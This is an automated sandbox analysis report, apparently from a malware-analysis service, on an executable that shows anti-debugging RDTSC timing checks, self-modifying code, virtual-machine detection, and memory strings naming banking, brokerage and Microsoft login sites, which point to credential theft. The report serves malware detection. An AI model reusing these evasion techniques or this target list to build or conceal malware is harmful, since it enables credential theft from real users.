Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20E6B second address: 4A20E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20E6F second address: 4A20E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20E73 second address: 4A20E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20ECB second address: 4A20ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20ED1 second address: 4A20ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B14 second address: 4A30B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FEA44C4CABCh 0x00000010 movzx esi, bx 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B3F second address: 4A30B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B43 second address: 4A30B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30B4E second address: 4A30BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FEA44C7ED58h 0x0000000a xor al, FFFFFFD8h 0x0000000d jmp 00007FEA44C7ED4Bh 0x00000012 popfd 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 jmp 00007FEA44C7ED56h 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEA44C7ED4Ah 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30BA2 second address: 4A30BB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30C31 second address: 4A30CA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEA44C7ED4Fh 0x00000009 or ch, FFFFFFCEh 0x0000000c jmp 00007FEA44C7ED59h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 call 00007FEA44C7ED49h 0x0000001c jmp 00007FEA44C7ED4Ah 0x00000021 push eax 0x00000022 pushad 0x00000023 mov cl, bl 0x00000025 mov ecx, 56280919h 0x0000002a popad 0x0000002b mov eax, dword ptr [esp+04h] 0x0000002f jmp 00007FEA44C7ED4Fh 0x00000034 mov eax, dword ptr [eax] 0x00000036 pushad 0x00000037 push edi 0x00000038 pop edi 0x00000039 mov esi, 4835D8FDh 0x0000003e popad 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 pushad 0x00000044 push edi 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30CA9 second address: 4A30D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007FEA44C4CABBh 0x0000000b xor ah, FFFFFFEEh 0x0000000e jmp 00007FEA44C4CAC9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop eax 0x00000016 jmp 00007FEA44C4CABEh 0x0000001b call 00007FEAB6B71941h 0x00000020 push 76952B70h 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov eax, dword ptr [esp+10h] 0x00000030 mov dword ptr [esp+10h], ebp 0x00000034 lea ebp, dword ptr [esp+10h] 0x00000038 sub esp, eax 0x0000003a push ebx 0x0000003b push esi 0x0000003c push edi 0x0000003d mov eax, dword ptr [769B4538h] 0x00000042 xor dword ptr [ebp-04h], eax 0x00000045 xor eax, ebp 0x00000047 push eax 0x00000048 mov dword ptr [ebp-18h], esp 0x0000004b push dword ptr [ebp-08h] 0x0000004e mov eax, dword ptr [ebp-04h] 0x00000051 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000058 mov dword ptr [ebp-08h], eax 0x0000005b lea eax, dword ptr [ebp-10h] 0x0000005e mov dword ptr fs:[00000000h], eax 0x00000064 ret 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007FEA44C4CAC7h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D05 second address: 4A30D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D0B second address: 4A30D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D9C second address: 4A30DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DA0 second address: 4A30DA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DA4 second address: 4A30DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A49 second address: 4A40A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEA44C4CAC6h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov eax, ebx 0x00000013 mov ax, dx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007FEA44C4CAC0h 0x00000020 pop ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A8E second address: 4A40A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40A93 second address: 4A40ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 push esi 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d jmp 00007FEA44C4CAC0h 0x00000012 mov esi, 7E249D71h 0x00000017 popad 0x00000018 xchg eax, esi 0x00000019 pushad 0x0000001a mov ah, 89h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40ABD second address: 4A40B7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FEA44C7ED4Bh 0x0000000a xor cl, FFFFFFDEh 0x0000000d jmp 00007FEA44C7ED59h 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FEA44C7ED4Dh 0x0000001e sbb eax, 52CD9A16h 0x00000024 jmp 00007FEA44C7ED51h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007FEA44C7ED50h 0x00000030 sbb ecx, 25BA4E38h 0x00000036 jmp 00007FEA44C7ED4Bh 0x0000003b popfd 0x0000003c popad 0x0000003d mov ax, BC6Fh 0x00000041 popad 0x00000042 xchg eax, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007FEA44C7ED57h 0x0000004c xor ecx, 63CA20AEh 0x00000052 jmp 00007FEA44C7ED59h 0x00000057 popfd 0x00000058 movzx esi, dx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40B7E second address: 4A40BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEA44C4CAC8h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FEA44C4CABBh 0x0000000f sbb ecx, 18672B6Eh 0x00000015 jmp 00007FEA44C4CAC9h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov esi, dword ptr [ebp+0Ch] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BD2 second address: 4A40BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BD6 second address: 4A40BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BDA second address: 4A40BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40BE0 second address: 4A40C3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop edi 0x00000005 jmp 00007FEA44C4CABCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f jmp 00007FEA44C4CAC0h 0x00000014 je 00007FEAB6B5A267h 0x0000001a jmp 00007FEA44C4CAC0h 0x0000001f cmp dword ptr [769B459Ch], 05h 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FEA44C4CAC7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40C3C second address: 4A40C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FEAB6BA4584h 0x0000000f jmp 00007FEA44C7ED4Eh 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx ebx, cx 0x0000001b call 00007FEA44C7ED56h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40C8C second address: 4A40CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C4CAC7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CA7 second address: 4A40CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40CAB second address: 4A40D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FEA44C4CAC2h 0x00000010 or ax, DD28h 0x00000015 jmp 00007FEA44C4CABBh 0x0000001a popfd 0x0000001b pushfd 0x0000001c jmp 00007FEA44C4CAC8h 0x00000021 jmp 00007FEA44C4CAC5h 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FEA44C4CAC3h 0x00000032 sbb si, 1C7Eh 0x00000037 jmp 00007FEA44C4CAC9h 0x0000003c popfd 0x0000003d jmp 00007FEA44C4CAC0h 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40D71 second address: 4A40E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA44C7ED4Fh 0x00000008 pushfd 0x00000009 jmp 00007FEA44C7ED58h 0x0000000e xor ch, 00000038h 0x00000011 jmp 00007FEA44C7ED4Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c mov eax, 5D812E8Bh 0x00000021 pushfd 0x00000022 jmp 00007FEA44C7ED50h 0x00000027 xor eax, 1BA66E98h 0x0000002d jmp 00007FEA44C7ED4Bh 0x00000032 popfd 0x00000033 popad 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov eax, 28F31E61h 0x0000003d pushfd 0x0000003e jmp 00007FEA44C7ED4Eh 0x00000043 sbb ecx, 3AFD18F8h 0x00000049 jmp 00007FEA44C7ED4Bh 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40EB5 second address: 4A40EFB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEA44C4CAC9h 0x00000008 sbb si, D5C6h 0x0000000d jmp 00007FEA44C4CAC1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEA44C4CABDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40EFB second address: 4A40F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40F01 second address: 4A40F05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40F05 second address: 4A40F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FEA44C7ED55h 0x00000010 sub eax, 01D6B886h 0x00000016 jmp 00007FEA44C7ED51h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FEA44C7ED4Eh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D45F5C second address: 5D45F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEA44C4CAC1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D460BF second address: 5D460C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D493DC second address: 5D493E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D493E6 second address: 5D4940C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jo 00007FEA44C7ED54h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4940C second address: 5D49410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D49410 second address: 5D49437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jno 00007FEA44C7ED4Eh 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 jne 00007FEA44C7ED48h 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D494C9 second address: 5D4955B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push esi 0x00000007 jnp 00007FEA44C4CABCh 0x0000000d pop esi 0x0000000e nop 0x0000000f movzx edi, di 0x00000012 push 00000000h 0x00000014 jnp 00007FEA44C4CABAh 0x0000001a call 00007FEA44C4CAB9h 0x0000001f push edx 0x00000020 jl 00007FEA44C4CAB8h 0x00000026 pushad 0x00000027 popad 0x00000028 pop edx 0x00000029 push eax 0x0000002a pushad 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 push ecx 0x00000032 pushad 0x00000033 popad 0x00000034 pop ecx 0x00000035 popad 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a push eax 0x0000003b jno 00007FEA44C4CAB8h 0x00000041 pop eax 0x00000042 mov eax, dword ptr [eax] 0x00000044 pushad 0x00000045 jmp 00007FEA44C4CAC3h 0x0000004a jns 00007FEA44C4CACCh 0x00000050 popad 0x00000051 mov dword ptr [esp+04h], eax 0x00000055 push eax 0x00000056 jp 00007FEA44C4CABCh 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D497B2 second address: 5D497BC instructions: 0x00000000 rdtsc 0x00000002 js 00007FEA44C7ED4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D498E0 second address: 5D498EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D498EF second address: 5D4996A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED4Dh 0x00000009 popad 0x0000000a pop edi 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FEA44C7ED48h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 pushad 0x00000027 sbb edx, 436C0E60h 0x0000002d or ah, FFFFFFA0h 0x00000030 popad 0x00000031 push 00000003h 0x00000033 cmc 0x00000034 push 00000000h 0x00000036 movsx edi, cx 0x00000039 push 00000003h 0x0000003b jnp 00007FEA44C7ED48h 0x00000041 mov ch, ah 0x00000043 add dword ptr [ebp+122D1EF5h], edi 0x00000049 call 00007FEA44C7ED49h 0x0000004e jmp 00007FEA44C7ED4Eh 0x00000053 push eax 0x00000054 jl 00007FEA44C7ED54h 0x0000005a push eax 0x0000005b push edx 0x0000005c jng 00007FEA44C7ED46h 0x00000062 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D0AC40 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D0AB58 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D08196 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EB8C32 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BCDC0C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D6BEA5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5D783C2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5E04435 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5BD0E4E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05BCE0FF rdtsc

0_2_05BCE0FF

Source: C:\Users\user\Desktop\file.exe TID: 4144	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2528	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6972	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5204	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4776	Thread sleep time: -46023s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2513695692.0000000005D4D000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2507713715.0000000000E92000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000002.2512775608.0000000005370000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}o
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2416710241.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2512775608.0000000005370000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2187512934.00000000053C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2416710241.00000000007D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWc
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2187512934.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
